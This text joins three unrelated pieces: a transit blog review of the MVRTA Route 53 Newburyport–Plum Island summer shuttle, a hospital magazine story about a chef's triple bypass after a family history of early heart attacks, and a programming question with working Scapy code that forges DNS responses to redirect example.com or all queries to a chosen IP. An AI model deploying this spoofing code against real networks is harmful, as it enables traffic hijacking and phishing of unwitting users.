We then turned onto Low Street, leaving the industrial area and going through an intersection with Route 1. The road was now called Pond Street, and it had houses on one side and a park on the other. After a small shopping plaza, we turned onto Eppa Way, then High Street, going by a really nice pond on one side (part of the park that had bordered Pond Street).
Those are some big houses!
We then turned onto Green Street, which was lined with historic-looking houses and apartments. As we got closer to the water, businesses started to appear as well. We turned onto Merrimac Street for a block, then State Street, going right through downtown Newburyport.
A big pedestrian plaza.
You can normally flag down the shuttle wherever you want, but State Street is a "no stop zone." However, it does have one official stop right outside of the Newburyport Library with a strange sign saying "Bus Stop Only." A few people were waiting here, but when the driver asked if they were going to Plum Island, they said they weren't and stepped away from the bus. Thus, we continued to the end of State, where we turned onto High Street (again), which was lined with historic houses and trees.
This place is so nice!
After a few blocks, we turned onto Federal Street, going by more houses, as well as a church. Next, we swung onto Water Street, an intersection where there was a house from 1690! The street name was an accurate one, as we soon found ourselves right along the gigantic Merrimac River. On the other side of the road, there were huge houses that must be worth a fortune.
That's a river???
The road became Plum Island Turnpike, and we started to speed past empty fields. Then planes started appearing! Yes, apparently there's a small airport up here, and the road happened to go right by it! After the airport, it got a lot more marshy, with some great views across the grasses.
Those planes are so small...
In the distance, houses built on stilts over the marshes could be seen. The road then went up onto a bridge, and we were now on Plum Island. After a bit more marshland, we all of a sudden entered the developed part of the island, and the street was lined with tiny beach houses and businesses.
Gotta love marsh views!
The driver made a stop alongside the main Plum Island beach, but no one got on or off. Thus, we curved onto Northern Boulevard, which was almost completely lined with beach houses. They were all tiny, and some of them were on stilts,
Looking down one of the small side streets.
The streets had a numbering system by this point, but it was a bit strange, since the odd-numbered ones were on one side and the even numbers on the other. Finally, at 79th Street, Northern Boulevard ended in a small loop - this was Plum Island Point. The driver let us off and looped around to head back to Newburyport.
The bus along Northern Boulevard.
MVRTA Route: 53 (Newburyport Summer Shuttle)
Ridership: There were only three people going toward Plum Island and four going back to Newburyport. I'm not sure if the ridership is usually this bad, but the service just started operating this weekend, so perhaps it gets more people during the summer.
Pros: This is a fantastic shuttle in theory. A bus from Newburyport Station to Plum Island is a great idea, and the route is incredibly scenic. The fare is only a dollar if you have a CharlieCard ($1.25 otherwise) and you can get a $3.00 day pass if you think you'll be taking the route a few times. They're even planning to give it some proper advertising! Take notes, SLOOP.
Cons: Unfortunately, a whole slew of issues drag the shuttle down. Firstly, there's the route downtown. The bus makes a whole bunch of twists and turns and takes a very indirect route through the city. I guess it's to make sure that it can serve the library along the one-way State Street, but it ends up getting the bus stuck in traffic and making it late. Still, the library seemed like a busy stop, and the shuttle might be obligated to serve it for one reason or another - if it didn't have to stop there, it would make more sense for the shuttle to run via Green Street one way and State Street the other, especially since this particular bus really doesn't need to serve the residential areas along Federal Street (and the 54 serves them, anyway).
Then there's the schedule, which is a bit of a mess. See, whenever buses run from downtown to Plum Island, the route gets convenient headways of every half hour. But every time a trip runs all the way to the Commuter Rail (they're timed with trains), it makes an hour-long gap in Plum Island service. Now how can this be fixed? Well, the MVRTA seems to have two shuttle routes in Newburyport, the other being that strange one from the Commuter Rail to downtown. However, that latter route, to my understanding, basically runs empty at all times that don't correspond with trains. So we have two buses to work with. How about splitting the Newburyport shuttles into two separate services? One can shuttle back and forth from Plum Island to downtown every half hour, and the other can do Commuter Rail to Plum Island trips that correspond with trains, with Commuter Rail to downtown short-turns otherwise. A shuttle day pass would allow you access to both routes. This might make more sense if I map and schedule the idea:
Right, so that ended up being confusing. I tried to accommodate for both Friday and weekend trains with Route 2 (something the 53 doesn't necessarily do), but it ended up making a really crazy-looking schedule. Still, I think the concept works better - even though there are still hour-long service gaps, this time those gaps are from the Commuter Rail to downtown, which hardly anyone will be using, anyway. Still...it is quite hard to read. Schedules would probably have to be posted at all major stops, since it's really hard to memorize, unlike Route 1 (or indeed, the 53). If the view there is too small, here's a link to the full spreadsheet.
Nearby and Noteworthy: Newburyport is a really lovely town, with so many different businesses in a very historic setting! Also, Plum Island is a great beach, particularly up where the bus terminates at Plum Island Point - it's a lot quieter up there than at the main area further south.
Overall, this shuttle is pretty solid, with a fine schedule and a fine route. Honestly, my schedule concerns are mostly with the other MVRTA shuttle from the Commuter Rail to downtown, since that just seems to be running empty buses all the time (I didn't get to take it, though, so I could be wrong). Should I get the chance to ride that route this summer, it'll most likely get a low score for the fact that it seems useless, but the 53 does a decent job at doing what it's doing. I mean, the hour-long gaps in Plum Island service can be annoying, but the radical schedule changes are mostly to fix the other shuttle. Overall, the MVRTA could do a much better job coordinating and running its Newburyport shuttles. But the 53 on its own? Yeah...it's not bad!

Breaking the Chain of Heart Attack
By Donna Sellmann
Not many people are worried about having a heart attack in their 40s. But for Joe Leone Introna, the approach of his 42nd birthday cast a dark shadow of concern. Six of his male relatives died at age 42. In fact, at least 14 men on his mother's side of the family died between 40 and 43 years old. These were otherwise healthy men who dropped dead of a heart attack at a young age. Would Joe suffer the same fate?
At age 30, Joe developed atrial fibrillation, which was corrected and continually monitored by his electrophysiologist. Joe continued to be proactive and started pursuing a variety of cardiovascular tests. Then on February 5—at the ominous age of 42—Joe experienced sudden chest, arm and jaw pain. He fainted and was rushed to Jersey Shore University Medical Center. Although tests showed he had not suffered a heart attack, his symptoms persisted and doctors decided to perform a cardiac catheterization. This procedure allowed interventional cardiologist Nelson LaMarche, M.D., to look inside the arteries of Joe's heart.
What he found was shocking.
Recipe for Relief
Joe's left anterior descending (LAD) artery was 90 percent blocked. This blockage is often called a "widow maker" because it prevents blood from passing through the LAD, and the heart can quickly run out of oxygen and stop beating, leading to sudden death. Joe was immediately rushed into surgery where thoracic surgeon David Johnson, M.D., performed a triple bypass. Healthy blood vessels were used to replace the blocked portions of three arteries and save Joe's life.
After recovering in the hospital for six days, Joe went home to his wife and five kids, and began rehabilitation. This started with several home visits by nurses, then transitioned to the five-week outpatient cardiac rehabilitation program at Ocean Medical Center.
"While I was in the hospital, the doctors told me that I would feel much better once I healed," says Joe. "It's remarkable how right they were. I feel great and keep blood flowing to my heart by exercising regularly. I enjoy walking and swimming, and I love boxing every day. My circulation has improved, the varicose veins in my legs are less noticeable, and I sleep better. I feel amazing."
Joe owns a thriving business with two Joe Leone's Italian Specialties stores in Point Pleasant Beach and Sea Girt, New Jersey. As a professional chef, his work life revolves around recipes, so this experience made him think about his "health recipe." He was determined to go through the "ingredients" in his life—key factors like diet, exercise and family history—and understand what went wrong.
A key factor was his family history of heart disease. While Joe was recovering at home, he had time to research and learn more about his family genetics. With relatives in the United States and Italy, he learned more about the 14 male deaths in his family. He learned that they were all sudden and all relatives on
his mother's side of the family. Interestingly, none of the females in the family had heart issues.
"When you go through something like this, your emotions are hooked to your heart," Joe says. "You do a lot of thinking. I wanted to understand how it happened and know what the results would be."
Expertise Close to Home
Cardiologist Brett Sealove, M.D., is handling Joe's follow-up care. "Unfortunately, when it comes to the heart, there's currently no genetic test for coronary disease," Dr. Sealove says. "The genes are so vast and large that it is extremely complex."
However, he stresses that healthy behaviors should start early. "You are never too young to take matters into your own hands if your family has a history of heart disease," he says. "Be proactive and talk with your physician to determine inherent risks as well as the family history profile."
While there is not one single test that encompasses everything for heart health, there are non-invasive tests that can screen for heart disease and stroke. Evaluation and treatment can then be individualized and addressed specific to each patient.
In Joe's case, he is thankful to have great resources and expertise so close to home. "Part of recovering was to surrender to the doctors. I have tremendous faith in them," he says. "My new health recipe includes regular follow-ups with my physician, a lean diet and regular exercise. Plus, I also believe there's an angel over my shoulder!"

Q: Looping requests in spoofing dns with scapy So I'm using an online tutorial to spoof dns in my system. (You can read some more in previous question. )
I used this code to redirect special addresses to another one:
dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'

def dns_responder(local_ip):
    def forward_dns(orig_pkt):
        print('Forwarding:', orig_pkt[DNSQR].qname)
        response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
                       DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
        #response.show()
        respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
        respPkt[DNS] = response[DNS]
        send(respPkt, verbose=0)
        return 'Responding: {}'.format(respPkt.summary())

    def get_response(pkt):
        if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                          / UDP(dport=pkt[UDP].sport, sport=53) \
                          / DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
                                an=DNSRR(rrname="example.com", rdata = local_ip))
                send(spfResp, verbose=0)
                return 'Spoofed DNS Response Sent'

            else:
                # make DNS query, capturing the answer and send the answer
                return forward_dns(pkt)

    return get_response

sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))

The problem with this code is when it captures a packet with a doamin that's not wanted and needs to be skipped, it runs infinitely and never stops and keep sending and receiving packets from the same domains. Meanwhile when I type a url that I want to spoof it's dns in the browser like example.com it does not capture it.
If I comment the line:
return forward_dns(pkt)

In the else statement and write something else, it does capture the packet and send the response, but still I'm seeing the same example.com website in my browser, not the site with the ip that I gave to the script.
So the whole thing is is this working on a browser? Because I used the nslookup in the windows command and still get the example.com ip as the response, not the one that I faked.
Answering Machine
Now this is the updated code with the answering machine, suppose that we want to spoof every single dns request:
class DNS_am (AnsweringMachine):
    function_name = "dns_spoof"
    filter="udp port 53"

    def parse_options(self, joker="137.74.18.82", zone=None):
        if zone is None:
            zone = {}
        self.zone = zone
        self.joker = joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr==0

    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        rdata = self.zone.get(dns.qd.qname, self.joker)
        resp = IP(dst=ip.src, src=ip.dst) \
        / UDP(dport=ip.sport, sport=53) \
        / DNS(id=dns.id, qr=1, qd=dns.qd,
              an=DNSRR(rrname=dns.qd.qname, rdata=rdata))

        return resp

DNS_am()()

When I run this script, it successfully captures all the dns queries and and send the fake response, but this response does not take effect. Still the main response works.
In wireshark, the fake response is marked as transmitted response.
